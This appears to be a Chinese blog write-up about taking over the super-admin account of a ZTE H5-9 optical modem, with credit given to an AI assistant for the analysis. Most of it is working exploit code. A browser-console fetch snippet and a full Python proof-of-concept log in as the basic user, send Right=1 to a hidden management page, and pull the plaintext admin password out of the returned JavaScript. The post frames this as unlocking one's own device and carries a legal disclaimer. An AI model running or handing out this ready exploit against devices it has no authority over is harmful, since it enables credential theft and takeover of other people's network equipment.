移动最新固件 ZTE H5-9 光猫获取超管密码

0x00 前言

在宽带网络运维与本地边缘计算网络拓扑优化中,获取光猫的超级管理员权限(通常为 telecomadminCMCCAdmin)是配置公网桥接模式、关闭固件强推升级、以及定制内网穿透的必备前置条件。一般附送的光猫拨号性能不太好,需要改桥接直接利用路由器拨号会更加稳定。

然而,可能因为拿到的是最新版的加密固件,使得网上几乎所有公开的提权老方案宣告失效。

突发奇想,我尝试了一个新思路——通过捕获登录光猫后台时的一系列 HAR 流量包,直接丢给大语言模型 Claudecode 3.5 Sonnet 进行深度审计。令人惊喜的是,Claudecode 通过一步步交互和多变量交叉比对,迅速帮我分析出了一条隐藏的垂直越权漏洞链。

本文将详细记录并还原这次利用 Claude 破解该光猫后台的完整步骤与漏洞复现。


0x01 核心漏洞原理剖析

经过对 HAR 包中前端与服务端交互源码的审计,该款 ZTE H5-9 光猫的嵌入式 Web 服务器(Server: Mini web server 1.0 ZTE corp 2005)在权限校验上存在一处严重的越权设计逻辑缺陷:

  1. 鉴权边界错位(越权漏洞): 服务端未对当前会话的 Session 级别实施严格的后端身份隔离。即便用户当前是以最基础的普通用户级别账号(user)身份登录,只要在发送的 POST 请求体或查询参数中强行构造特定的控制标识,服务端便会产生逻辑混淆。
  2. 安全变量前端暴露: 服务端为了实现前端页面“修改密码时验证旧密码”的功能,错误地将目标账户的敏感数据(包括明文密码)直接嵌入到了返回的 HTML 源码中的 JavaScript 全局变量 var user_Password = "xxx" 里。
  3. 控制参数泄露: 当我们构造请求将标志位参数硬编码为 Right=1(代表请求管理员级别权限)时,服务端在后端未做二次校验,误以为是管理员合法的配置请求,进而将超级管理员账号(CMCCAdmin)的明文密码一并打包返回给了前端页面。

0x02 关键发现路径

在破解过程中,通过捕获隐藏路由和关键参数,漏洞链路清晰显现:

  1. 真实路径挖掘: 通过 HAR 包抓包分析,发现隐藏路由位于 /web/cmcc/gch/,而非传统非电信版的通用根路径。
  2. 菜单结构审计: 发现用户管理配置页面位于 manager_aduser_conf_t.gch
  3. 关键变量暴露: 该页面渲染时,前端 JavaScript 变量 user_Password 存储着当前请求级别的明文凭据。
  4. 越权参数突破: 发现 POST 提交 Right=1 参数可以使服务端返回管理员级别的数据,而非当前登录的 user 数据。

0x03 漏洞完整复现步骤

前置条件: 获知本地光猫的普通用户账号 user 的密码(通常贴在光猫背部的铭牌上),并且能够成功登录光猫的常规管理界面(默认 IP 通常为 192.168.1.1)。

简单版本:浏览器开发者工具(Console)

如果你已经通过常规方式在浏览器中手动登录了 user 账号,不需要执行 Python 脚本,可以直接打开浏览器的开发者工具(F12),切换到 Console(控制台) 标签页,粘贴并回车运行以下纯前端异步请求(Fetch)代码,能瞬时打印出密码:

fetch('/web/cmcc/gch/template_user.gch?nextpage=./manager_aduser_conf_t.gch', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'IF_ACTION=NULL&IF_GETACTION=GET&IF_ERRORSTR=SUCC&IF_INDEX=0&Right=1'
}).then(r => r.text()).then(d => {
    var u = d.match(/Transfer_meaning\('Username','([^']+)'\)/);
    var p = d.match(/var\s+user_Password\s*=\s*"([^"]+)"/);
    console.log('%c【提权结果】', 'color: #3182ce; font-weight: bold; font-size: 14px;');
    console.log('用户名:', u ? u[1] : '未找到', '| 密码:', p ? p[1] : '未找到');
});

Python版本

由于 H5-9 固件在登录接口中对密码实施了 MD5 预散列处理,我们需要先将铭牌上的普通 user 密码转换为标准的大写 MD5 字符串。 在 Linux 或 macOS 终端中执行以下命令(也可以通过在线 MD5 工具转换):

echo -n "你的user密码" | md5 | tr '[:lower:]' '[:upper:]'

以下是由 Claude 针对该固件特性定制编写的自动化漏洞利用 PoC。该脚本采用 Python 3 标准库(无需额外安装三方库),通过模拟完整的登录、参数注入以及响应流正则提取,直接抓取超级管理员密码:

import urllib.request
import urllib.parse
import re
import http.cookiejar

# 初始化带有 Cookie 保持的智能网络请求器
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor())

# 【第一步:登录 user 账号(请将 logincode 的值替换为步骤 1 算出的大写 MD5)】
login_url = 'http://192.168.1.1/'
login_data = urllib.parse.urlencode({
    'username': 'user',
    'logincode': 'B79612C2832E39ECC1A96CB1D0727F06',  # <--- 此处替换为你的user密码的大写 MD5
    'Frm_Logintoken': '6',
    'action': 'login',
    'frashnum': '', '_lang': '', 'ieversion': '0'
}).encode()

print("[*] 正在尝试登录普通用户账号...")
opener.open(login_url, login_data)

# 【第二步:构造越权 POST 请求,跨越权限边界强行读取管理侧数据】
target_url = 'http://192.168.1.1/web/cmcc/gch/template_user.gch?nextpage=./manager_aduser_conf_t.gch'
post_data = urllib.parse.urlencode({
    'IF_ACTION': 'NULL',
    'IF_GETACTION': 'GET',
    'IF_ERRORSTR': 'SUCC',
    'IF_INDEX': '0',
    'Right': '1',  # 核心突破口:关键参数,声明读取管理员级别账号
}).encode()

req = urllib.request.Request(
    target_url,
    data=post_data,
    headers={
        'Content-Type': 'application/x-www-form-urlencoded',
        'Referer': 'http://192.168.1.1/web/cmcc/gch/template_user.gch'
    }
)

print("[*] 正在注入越权标识符并请求敏感配置文件...")
resp = opener.open(req)
content = resp.read().decode('utf-8', errors='ignore')

# 【第三步:从响应流的 JavaScript 全局变量中利用正则精准抓取凭据】
username_match = re.search(r"Transfer_meaning\('Username','([^']+)'\)", content)
password_match = re.search(r"var\s+user_Password\s*=\s*\"([^\"]+)\"", content)

print("\n" + "="*40)
if username_match:
    print(f"[+] 成功提取超级管理员用户名: {username_match.group(1)}")
else:
    print("[-] 未能成功提取用户名。")

if password_match:
    print(f"[+] 成功逆向出超级管理员明文密码: {password_match.group(1)}")
else:
    print("[-] 未能成功提取明文密码,可能固件已修补。")
print("="*40)


安全声明:本文技术研究过程均在完全拥有所有权的本地实验设备上进行。相关技术方案仅供合法网络安全教学、本地运维审计研究使用,严禁用于任何未授权的非法渗透活动。




Enjoy Reading This Article?

Here are some more articles you might like to read next:

  • Wandering
  • Galleries